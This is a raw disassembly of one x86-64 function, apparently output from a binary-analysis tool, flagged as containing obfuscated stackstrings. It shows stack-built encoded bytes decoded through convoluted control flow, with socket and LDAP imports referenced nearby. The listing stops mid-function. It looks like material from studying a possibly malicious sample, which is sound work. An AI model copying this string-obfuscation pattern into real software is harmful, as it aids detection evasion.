Function at 0x140069d80
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x410]
sub rsp, 0x510
mov rax, qword [0x140278800]
xor rax, rsp
mov qword [rbp + 0x400], rax
mov r15, rcx
lea rcx, [rbp + 0x330]
call fcn.1400253c0
mov dword [rbp + 0x37c], 0x10c
mov rcx, qword [r15 + 0x30]
movaps xmm0, xmmword [rbp + 0x330]
movaps xmmword [rbp + 0xf0], xmm0
movaps xmm1, xmmword [rbp + 0x340]
movaps xmmword [rbp + 0x100], xmm1
movaps xmm0, xmmword [rbp + 0x350]
movaps xmmword [rbp + 0x110], xmm0
movaps xmm1, xmmword [rbp + 0x360]
movaps xmmword [rbp + 0x120], xmm1
movaps xmm0, xmmword [rbp + 0x370]
movaps xmmword [rbp + 0x130], xmm0
movaps xmm1, xmmword [rbp + 0x380]
movaps xmmword [rbp + 0x140], xmm1
movaps xmm0, xmmword [rbp + 0x390]
movaps xmmword [rbp + 0x150], xmm0
movaps xmm1, xmmword [rbp + 0x3a0]
movaps xmmword [rbp + 0x160], xmm1
movsd xmm0, qword [rbp + 0x3b0]
movsd qword [rbp + 0x170], xmm0
lea rax, [0x14027a350]
mov qword [rbp + 0xf0], rax
mov dword [rbp + 0xf8], 0x4d33c
mov dword [rbp + 0x104], 0x41700000
lea rdi, [0x140251438]
mov qword [rbp + 0x128], rdi
lea rdx, [rbp + 0xf0]
call fcn.140025480
mov qword [0x1402c98a8], rax
mov rcx, qword [r15 + 0x30]
movaps xmm0, xmmword [rbp + 0x330]
movaps xmmword [rbp + 0x180], xmm0
movaps xmm1, xmmword [rbp + 0x340]
movaps xmmword [rbp + 0x190], xmm1
movaps xmm0, xmmword [rbp + 0x350]
movaps xmmword [rbp + 0x1a0], xmm0
movaps xmm1, xmmword [rbp + 0x360]
movaps xmmword [rbp + 0x1b0], xmm1
movaps xmm0, xmmword [rbp + 0x370]
movaps xmmword [rbp + 0x1c0], xmm0
movaps xmm1, xmmword [rbp + 0x380]
movaps xmmword [rbp + 0x1d0], xmm1
movaps xmm0, xmmword [rbp + 0x390]
movaps xmmword [rbp + 0x1e0], xmm0
movaps xmm1, xmmword [rbp + 0x3a0]
movaps xmmword [rbp + 0x1f0], xmm1
movsd xmm0, qword [rbp + 0x3b0]
movsd qword [rbp + 0x200], xmm0
lea rbx, [0x1402793b0]
mov qword [rbp + 0x180], rbx
mov dword [rbp + 0x188], 0xfa0
mov dword [rbp + 0x194], 0x41880000
mov qword [rbp + 0x1b8], rdi
lea rdx, [rbp + 0x180]
call fcn.140025480
mov qword [0x1402c98a0], rax
mov rcx, qword [r15 + 0x30]
movaps xmm0, xmmword [rbp + 0x330]
movaps xmmword [rbp + 0x210], xmm0
movaps xmm1, xmmword [rbp + 0x340]
movaps xmmword [rbp + 0x220], xmm1
movaps xmm0, xmmword [rbp + 0x350]
movaps xmmword [rbp + 0x230], xmm0
movaps xmm1, xmmword [rbp + 0x360]
movaps xmmword [rbp + 0x240], xmm1
movaps xmm0, xmmword [rbp + 0x370]
movaps xmmword [rbp + 0x250], xmm0
movaps xmm1, xmmword [rbp + 0x380]
movaps xmmword [rbp + 0x260], xmm1
movaps xmm0, xmmword [rbp + 0x390]
movaps xmmword [rbp + 0x270], xmm0
movaps xmm1, xmmword [rbp + 0x3a0]
movaps xmmword [rbp + 0x280], xmm1
movsd xmm0, qword [rbp + 0x3b0]
movsd qword [rbp + 0x290], xmm0
mov qword [rbp + 0x210], rbx
mov dword [rbp + 0x218], 0xfa0
mov dword [rbp + 0x224], 0x41f00000
mov qword [rbp + 0x248], rdi
lea rdx, [rbp + 0x210]
call fcn.140025480
mov qword [0x1402c98b8], rax
mov rcx, qword [r15 + 0x30]
movaps xmm0, xmmword [rbp + 0x330]
movaps xmmword [rbp + 0x2a0], xmm0
movaps xmm1, xmmword [rbp + 0x340]
movaps xmmword [rbp + 0x2b0], xmm1
movaps xmm0, xmmword [rbp + 0x350]
movaps xmmword [rbp + 0x2c0], xmm0
movaps xmm1, xmmword [rbp + 0x360]
movaps xmmword [rbp + 0x2d0], xmm1
movaps xmm0, xmmword [rbp + 0x370]
movaps xmmword [rbp + 0x2e0], xmm0
movaps xmm1, xmmword [rbp + 0x380]
movaps xmmword [rbp + 0x2f0], xmm1
movaps xmm0, xmmword [rbp + 0x390]
movaps xmmword [rbp + 0x300], xmm0
movaps xmm1, xmmword [rbp + 0x3a0]
movaps xmmword [rbp + 0x310], xmm1
movsd xmm0, qword [rbp + 0x3b0]
movsd qword [rbp + 0x320], xmm0
lea rax, [0x140278890]
mov qword [rbp + 0x2a0], rax
mov dword [rbp + 0x2a8], 0xb18
mov dword [rbp + 0x2b4], 0x41880000
mov qword [rbp + 0x2d8], rdi
lea rdx, [rbp + 0x2a0]
call fcn.140025480
mov qword [0x1402c98b0], rax
mov rsi, qword [0x1402c98a8]
mov dword [rsp + 0x38], 0x3c0c373d
mov dword [rsp + 0x3c], 0x20113c30
mov dword [rsp + 0x40], 0x2a3a2229
mov word [rsp + 0x44], 0x292e
mov byte [rsp + 0x46], __WSAFDIsSet
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x47], xmm0
mov dword [rsp + 0x57], eax
movabs rdi, 0xb89bd59168aa0a43
movabs r14, 0xd90711c9ad01c5c7
movabs r13, 0x90535d5b79241d19
lea r12, [rax - 1]
movzx r11d, byte [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor ebx, ebx
movabs rcx, 0x6bdbc3e5083d096b
cmp rbx, 0x23
jae 0x14006ad18
movzx r10d, byte [rsp + rbx + 0x38]
movzx edx, r10b
cmp r8, rbx
ja 0x14006ad0f
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14006a19b
add rcx, rbx
mov rax, r10
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, r10
add r11, rcx
add r11b, 0x13
jmp 0x14006a1c7
je 0x14006ac9f
inc rax
cmp r8, rax
je 0x14006ac43
lea rax, [r9 + 3]
cmp r8, rax
je 0x14006ac1a
lea rax, [r9 + 5]
cmp r8, rax
je 0x14006abd0
movzx edx, r10b
nop dword [rax + rax]
cmp r9, rbx
ja 0x14006ad06
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x14006a1fa
lea rcx, [rbx + r14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 0x71
jmp 0x14006a230
lea rax, [r9 + 1]
cmp r8, rax
je 0x14006abb0
inc rax
cmp r8, rax
je 0x14006ab88
lea rax, [r9 + 4]
cmp r8, rax
je 0x14006ab55
lea rax, [r9 + 8]
cmp r8, rax
je 0x14006ab24
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14006a819
nop dword [rax]
lea rax, [r9 + 1]
cmp r8, rax
je 0x14006a7fa
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14006a7d2
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14006a7ad
lea rax, [r9 + 9]
cmp r8, rax
je 0x14006a78c
lea rax, [r9 + 2]
cmp r8, rax
je 0x14006a75e
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14006a733
lea rax, [r9 + 6]
cmp r8, rax
je 0x14006a711
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14006a6f2
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14006a6c5
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14006a240
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 8]
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14006aceb
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14006acd0
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14006a42c
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14006a411
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14006a3f6
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14006a676
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14006a624
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14006a5d1
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14006a5ae
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14006a240
lea r8, [r9 + 4]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14006a581
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x14006a562
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14006a541
lea rax, [r9 + 5]
cmp r8, rax
ja 0x14006a516
lea rcx, [r9 + 0x64]
cmp r8, rcx
ja 0x14006a4e8
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14006a4c6
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14006a4a1
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14006a479
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14006a45a
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14006a240
mov r8, rcx
lea r9, [rcx + 4]
jmp 0x14006a240
lea rcx, [rbx + r13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [rdx + rcx]
add r11b, 0x51
jmp 0x14006a230
lea rcx, [rbx + rdi]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [rdx + rcx]
add r11b, 0x2b
jmp 0x14006a1d0
movabs rcx, 0xe0e44dc7582ff76d
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [rdx + rcx]
add r11b, 5
movabs rcx, 0x6bdbc3e5083d096b
jmp 0x14006a170
lea edx, [rbx + 0x38]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14006abf2
lea edx, [rbx + 0x62]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rbx
inc rbx
jmp 0x14006a152
lea edx, [rbx - 0x74]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x14006a152
lea edx, [rbx - 0x4a]
movzx eax, r10b
and al, dl
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx edi, bl
jmp 0x14006aa96
lea ecx, [rbx - 0x20]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x20
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14006a152
lea ecx, [rbx + 0xa]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x46
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14006a152
lea edx, [rbx + 0x34]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x6c
add r11b, dl
movzx edi, bl
jmp 0x14006aaeb
lea edx, [rbx + 0x5e]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14006ac65
lea edx, [rbx - 0x78]
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rsp + rbx + 0x38]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14006a152
lea ecx, [rbx + 0x71]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x17
mov byte [rsp + rbx + 0x38], r11b
inc rbx
jmp 0x14006a152
lea edx, [rbx - 0x65]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x3d
add r11b, dl
movzx edi, bl
cmp r9, 0xa
jb 0x14006aa60
sub dil, 0x5e
movzx eax, r10b
and al, dil
mov ecx, 9
sub cl, al
add cl, cl
add cl, r10b
add cl, dil
lea r11d, [rcx + rcx]
movabs rdi, 0xb89bd59168aa0a43
jmp 0x14006abf2
lea edx, [rbx - 0x3b]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x63
add r11b, dl
cmp r8, 0x41
jae 0x14006aa77
lea rax, [r9 + 0x28]
cmp r8, rax
jbe 0x14006a9a8
movzx edi, bl
lea edx, [rdi + 0x46]
movzx eax, r10b
and al, dl
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14006a5ed
lea edx, [rbx - 0x11]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x77
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x28
je 0x14006aad7
lea rax, [r9 + 1]
cmp r8, rax
jbe 0x14006a926
lea edx, [rbx + 0x7f]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x79
jmp 0x14006a63a
lea edx, [rbx - 0x56]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rsp + rbx + 0x38]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14006a152
lea edx, [rbx - 0x2c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14006ac65
movzx edi, bl
lea edx, [rdi - 2]
movzx eax, r10b
and al, dl
mov ecx, 7
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14006aaeb
lea ecx, [rbx + 0x28]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x18
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14006a152
lea ecx, [rbx + 0x52]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x3e
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14006a152
movzx edi, bl
lea edx, [rdi + 0x7c]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x64
add r11b, dl
jmp 0x14006aa96
lea edx, [rbx - 0x5a]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x14006a152
lea edx, [rbx - 0x30]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rbx
inc rbx
jmp 0x14006a152
lea edx, [rbx - 6]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14006abf2
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x14006a849
movabs rcx, 0x6bdbc3e5083d096b
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
add r11b, 0x13
jmp 0x14006a68f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14006a87f
lea edx, [rbx - 0x72]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rsp + rbx + 0x38]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14006a152
inc rax
cmp r8, rax
jne 0x14006a8a6
lea edx, [rbx + 0x64]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14006ac65
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14006a8cc
movzx edi, bl
lea ecx, [rdi - 0x44]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x24
jmp 0x14006aa96
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14006a8fa
lea edx, [rbx - 0x6e]
movzx eax, dl
and al, r10b
mov ecx, 1
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x14006a152
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14006a68f
lea edx, [rbx + 0x3e]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14006abf2
jne 0x14006a946
lea edx, [rbx + 0x55]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x53
add r11b, dl
jmp 0x14006abf2
inc rax
cmp r8, rax
jne 0x14006a972
lea ecx, [rbx + 0x2b]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x2d
inc r9
dec rbx
inc rbx
jmp 0x14006a152
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14006a63d
lea ecx, [rbx + 5]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x23
movzx eax, byte [rsp + rbx + 0x38]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14006a152
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14006a9de
lea edx, [rbx + 0x1c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rsp + rbx + 0x38]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14006a152
inc rax
cmp r8, rax
jne 0x14006aa07
movzx edi, bl
lea edx, [rdi - 0x38]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x78
add r11b, dl
jmp 0x14006aaeb
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14006aa2e
movzx edi, bl
lea edx, [rdi + 0x4a]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 6
add r11b, dl
jmp 0x14006aa96
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14006a5ea
lea edx, [rbx + 0x20]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x14006a152
movabs rdi, 0xb89bd59168aa0a43
mov byte [rsp + rbx + 0x38], r11b
inc rbx
jmp 0x14006a152
movzx edi, bl
lea edx, [rdi + 0x78]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x48
add r11b, dl
add r11b, r10b
sub dil, 0x1d
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
sub dil, 0x35
add r10b, dil
add r10b, r11b
mov byte [rsp + rbx + 0x38], r10b
movabs rdi, 0xb89bd59168aa0a43
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14006a152
movzx edi, bl
lea ecx, [rdi + 0x4e]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [rcx - 0x22]
sub dil, 0x47
movzx eax, r10b
and al, dil
add al, al
movzx ecx, r10b
sub cl, al
sub dil, 0xf
add cl, dil
movzx eax, cl
mov byte [rsp + rbx + 0x38], al
inc r9
add rax, r9
sub rbx, rax
movabs rdi, 0xb89bd59168aa0a43
jmp 0x14006ac65
movabs rax, 0x6e7ad7e4414c6f4d
add rax, rbx
and r10b, al
add r10b, r10b
sub al, r10b
lea r11d, [rdx + rax]
sub r11b, 0x1b
movzx eax, byte [rsp + rbx + 0x38]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14006a152
movabs rax, 0xe75440860fde36cb
add rax, rbx
and r10b, al
add r10b, r10b
sub al, r10b
lea r11d, [rdx + rax]
add r11b, 0x73
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14006a152
movabs rax, 0x602da927de6ffe49
add rax, rbx
and r10b, al
add r10b, r10b
sub al, r10b
lea r11d, [rdx + rax]
inc r11b
dec rbx
inc rbx
jmp 0x14006a152
movabs rax, 0xb0be9993bd7bd89d
add rax, rbx
and r10b, al
add r10b, r10b
sub al, r10b
lea r11d, [rdx + rax]
sub r11b, 0x4b
jmp 0x14006abee
movabs rax, 0x14f89ff9c87b2f1
add rax, rbx
and r10b, al
add r10b, r10b
sub al, r10b
lea r11d, [rdx + rax]
add r11b, 0x69
movzx r10d, dl
lea ecx, [rbx + 0xd]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x5b
add r10b, cl
mov byte [rsp + rbx + 0x38], r10b
inc r9
dec rbx
inc rbx
jmp 0x14006a152
movabs rax, 0x51e07a6b7b938d45
add rax, rbx
and r10b, al
add r10b, r10b
sub al, r10b
lea r11d, [rdx + rax]
add r11b, 0x1d
dec rbx
inc rbx
jmp 0x14006a152
movabs rax, 0x1b4ad37929312f17
add rax, rbx
and r10b, al
add r10b, r10b
sub al, r10b
lea r11d, [rdx + rax]
add r11b, 0x5f
movzx r10d, dl
lea edx, [rbx + 0x24]
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rsp + rbx + 0x38], cl
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rsp + rbx + 0x38]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14006a152
movabs rax, 0x43934baf18b71c41
add rax, rbx
and r10b, al
add r10b, r10b
sub al, r10b
lea r11d, [rdx + rax]
add r11b, 0x39
movzx eax, byte [rsp + rbx + 0x38]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14006a152
sub bl, 0x69
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x21
jmp 0x14006a14e
sub bl, 0x3f
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x47
jmp 0x14006a132
lea rbx, [rbp + 0x142531c]
jmp 0x14006ad1d
lea rbx, [rbp + 0xff5c87]
jmp 0x14006ad1d
lea rbx, [rsp + 0x38]
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 8]
call fcn.140002dc0
nop
mov r8d, reloc.WS2_32.dll_ntohs
mov rdx, rbx
lea rcx, [rbp + 8]
call fcn.140004830
nop
lea r8, [rbp + 8]
lea rdx, [rbp + 0xa8]
lea rcx, [0x1402cdde0]
call fcn.14005e1e0
mov rcx, qword [rax]
mov qword [rcx + 0x30], rsi
lea rcx, [rbp + 8]
call fcn.140002a20
mov rsi, qword [0x1402c98a0]
mov dword [rsp + 0x60], 0xcecdc2c9
mov dword [rsp + 0x64], 0xd8c8cacb
mov dword [rsp + 0x68], 0xcecdc8f8
mov byte [rsp + WSASetLastError], 0x6c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x6d], xmm0
mov dword [rsp + 0x7d], eax
mov word [rbp - 0x7f], ax
movabs r14, 0x449476c8adcd8790
movabs r13, 0xcdbd645a096896b0
movzx edx, byte [rsp + 0x30]
nop word [rax + rax]
mov r9, qword [0x1402cdf20]
mov r8, qword [0x1402cdf18]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14006b8b6
movzx r11d, byte [rsp + rbx + 0x60]
mov edi, r11d
cmp r9, rbx
ja 0x14006b8ad
lea rax, [r8 + 1]
cmp r9, rax
jae 0x14006ae10
lea rcx, [rbx + r14]
mov rax, rcx
and rax, rdi
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, rdi
add dl, 0x10
jmp 0x14006ae3d
je 0x14006b83a
lea rax, [r8 + 2]
cmp r9, rax
je 0x14006b7b8
lea rax, [r8 + 5]
cmp r9, rax
je 0x14006b78d
lea rax, [r8 + 6]
cmp r9, rax
je 0x14006b76e
movzx r10d, bl
cmp r8, rbx
ja 0x14006b8a4
lea rax, [r8 + 0x80]
cmp r9, rax
jae 0x14006ae70
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14006aec0
lea rax, [r8 + 1]
cmp r9, rax
je 0x14006b72a
lea rax, [r8 + 3]
cmp r9, rax
je 0x14006b708
lea rax, [r8 + 4]
cmp r9, rax
je 0x14006b6da
lea rax, [r8 + 5]
cmp r9, rax
je 0x14006b6ab
lea rax, [r8 + 2]
cmp r9, rax
je 0x14006b68b
lea rax, [r8 + 8]
cmp r9, rax
je 0x14006b65d
nop
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x14006b38d
nop dword [rax]
lea rax, [r8 + 0x80]
cmp r9, rax
je 0x14006b373
lea rax, [r8 + 3]
cmp r9, rax
je 0x14006b355
lea rax, [r8 + 0x5a]
cmp r9, rax
je 0x14006b32f
lea rax, [r8 + 0x20]
cmp r9, rax
je 0x14006b315
lea rax, [r8 + 8]
cmp r9, rax
je 0x14006b2e3
lea rax, [r8 + 0x400]
cmp r9, rax
je 0x14006b2b8
lea rax, [r8 + 0x64]
cmp r9, rax
je 0x14006b29e
lea rax, [r8 + 2]
cmp r9, rax
je 0x14006b3ee
lea rax, [r8 + 0x41]
cmp r9, rax
je 0x14006b274
lea r9, [r8 + 0x2a]
lea r8, [r9 + 6]
lea rax, [r8 + 0x28]
cmp r9, rax
jb 0x14006b884
lea rax, [r8 + 9]
cmp r9, rax
jb 0x14006b864
lea rax, [r8 + 0x1000]
cmp r9, rax
jb 0x14006b084
lea rax, [r8 + 0x80]
cmp r9, rax
jb 0x14006b06a
lea rax, [r8 + 3]
cmp r9, rax
jb 0x14006b050
lea rax, [r8 + 0x5a]
cmp r9, rax
jb 0x14006b201
lea rax, [r8 + 8]
cmp r9, rax
jb 0x14006b1c2
lea rax, [r8 + 0x64]
cmp r9, rax
jb 0x14006aed0
lea r9, [r8 + 0x61]
lea r8, [r9 + 0x20]
lea rax, [r8 + 0x200]
cmp r9, rax
ja 0x14006b198
lea rax, [r8 + 4]
cmp r9, rax
ja 0x14006b17c
lea rax, [r8 + 0x2a]
cmp r9, rax
ja 0x14006b162
lea rax, [r8 + 0x61]
cmp r9, rax
ja 0x14006b137
lea rax, [r8 + 9]
cmp r9, rax
ja 0x14006b110
lea rax, [r8 + 0x80]
cmp r9, rax
ja 0x14006b0ea
lea rax, [r8 + 0x28]
cmp r9, rax
ja 0x14006b0c1
lea rax, [r8 + 0x5a]
cmp r9, rax
ja 0x14006b0a4
lea rax, [r8 + 0x1000]
cmp r9, rax
ja 0x14006aed0
lea r9, [r8 + 1]
lea r8, [r9 + 8]
jmp 0x14006aed0
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x50
jmp 0x14006aec0
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x70
jmp 0x14006ae41
sub r10b, 0x10
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x14006ade5
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x80
jmp 0x14006b742
add r10b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r8
dec rbx
inc rbx
jmp 0x14006add2
add r10b, 0x40
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x14006add2
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add r9, r8
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14006add2
sub r10b, 0x20
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x20
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14006add2
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x40
jmp 0x14006b7dc
sub r10b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x60
jmp 0x14006b804
add r10b, 0x80
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x80
movzx eax, byte [rsp + rbx + 0x60]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14006add2
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r11b
